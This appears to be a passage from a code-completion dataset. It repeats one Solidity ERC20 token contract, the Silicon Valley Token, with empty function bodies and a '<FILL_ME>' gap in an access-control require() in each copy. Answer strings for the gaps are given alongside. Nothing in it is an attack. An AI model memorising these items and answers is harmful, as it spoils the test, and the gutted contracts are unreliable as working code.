validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| authorizeds[msg.sender]==Level.OWNER||msg.sender==address(this) | 325,907 | authorizeds[msg.sender]==Level.OWNER||msg.sender==address(this) |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
require(<FILL_ME>)
_;
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| authorizeds[_address]!=Level.OWNER | 325,907 | authorizeds[_address]!=Level.OWNER |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
require(<FILL_ME>)
_;
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| (authorizeds[msg.sender]>Level.ZERO)&&(authorizeds[msg.sender]<=_level) | 325,907 | (authorizeds[msg.sender]>Level.ZERO)&&(authorizeds[msg.sender]<=_level) |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
require(<FILL_ME>)
_;
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| authorizeds[msg.sender]==_level | 325,907 | authorizeds[msg.sender]==_level |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
